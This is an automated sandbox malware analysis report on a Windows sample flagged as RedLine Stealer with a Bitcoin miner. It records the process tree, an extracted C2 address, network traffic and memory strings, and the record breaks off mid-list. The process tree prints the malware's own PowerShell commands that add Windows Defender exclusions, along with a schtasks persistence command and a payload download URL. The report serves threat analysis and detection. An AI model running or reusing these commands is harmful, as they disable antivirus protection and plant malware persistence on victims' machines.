Play interactive tour

Edit tour

Windows Analysis Report YfTokH7RIj

Overview

General Information

Sample Name:	YfTokH7RIj (renamed file extension from none to exe)
Analysis ID:	545999
MD5:	1b8bf38e83c31c76c7dd00088ac0922d
SHA1:	1bc87682b1518b398ee7eacc4c8e4370b18d359e
SHA256:	25cd127b9d559d6754269ecc116d35be66aca027640bcd71a836567c32b946c5
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

BitCoin Miner RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Yara detected BitCoin Miner

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Detected VMProtect packer

Tries to steal Crypto Currency Wallets

Sigma detected: Powershell Defender Exclusion

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

YfTokH7RIj.exe (PID: 6764 cmdline: "C:\Users\user\Desktop\YfTokH7RIj.exe" MD5: 1B8BF38E83C31C76C7DD00088AC0922D)

fl.exe (PID: 1476 cmdline: "C:\Users\user\AppData\Local\Temp\fl.exe" MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 1372 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6932 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 3496 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 5304 cmdline: cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5780 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 6484 cmdline: cmd" cmd /c "C:\Windows\system32\services32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

services32.exe (PID: 6972 cmdline: C:\Windows\system32\services32.exe MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 2128 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 1572 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 1848 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

sihost32.exe (PID: 6688 cmdline: "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe" MD5: 7E00AE5CF06B98B3D7494EE13532D651)

services32.exe (PID: 5948 cmdline: C:\Windows\system32\services32.exe MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 4812 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 2480 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 5148 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "yabynennet.xyz:81", "Bot Id": "@zhilsholi"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: YfTokH7RIj.exe PID: 6764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: services32.exe PID: 5948	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: services32.exe PID: 6972	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: sihost32.exe PID: 6688	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.YfTokH7RIj.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Overview

System Summary:

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, CommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\fl.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\fl.exe, ParentProcessId: 1476, ProcessCommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, ProcessId: 1372

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , CommandLine: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1372, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , ProcessId: 6932

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132851852322018989.6932.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Avira: detection malicious, Label: HEUR/AGEN.1143703
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Avira: detection malicious, Label: HEUR/AGEN.1143065
Source: C:\Windows\System32\services32.exe	Avira: detection malicious, Label: HEUR/AGEN.1143703

Found malware configuration

Show sources

Source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "yabynennet.xyz:81", "Bot Id": "@zhilsholi"}

Multi AV Scanner detection for submitted file

Show sources

Source: YfTokH7RIj.exe	Virustotal: Detection: 40%			Perma Link
Source: YfTokH7RIj.exe	ReversingLabs: Detection: 48%

Multi AV Scanner detection for domain / URL

Show sources

Source: yabynennet.xyz

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Virustotal: Detection: 59%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Metadefender: Detection: 26%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe	ReversingLabs: Detection: 71%
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Metadefender: Detection: 31%	Perma Link
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\System32\services32.exe	Metadefender: Detection: 26%	Perma Link
Source: C:\Windows\System32\services32.exe	ReversingLabs: Detection: 71%

Machine Learning detection for sample

Show sources

Source: YfTokH7RIj.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\services32.exe	Joe Sandbox ML: detected

Bitcoin Miner:

Yara detected BitCoin Miner

Show sources

Source: Yara match	File source: 0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: services32.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: services32.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost32.exe PID: 6688, type: MEMORYSTR

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack

Source: YfTokH7RIj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2

Source:

Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: YfTokH7RIj.exe, 00000000.00000003.646920762.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716588388.0000000000428000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D575E8 FindFirstFileA,		0_2_00D575E8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D576C4 FindFirstFileA,GetLastError,		0_2_00D576C4

Networking:

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

DNS query: yabynennet.xyz

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: HSAE HSAE

Source: Joe Sandbox View	IP Address: 185.82.202.246 185.82.202.246
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: global traffic

TCP traffic: 192.168.2.4:49781 -> 185.82.202.246:81

Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.722189877.0000000000C25000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	String found in binary or memory: http://go.mic
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
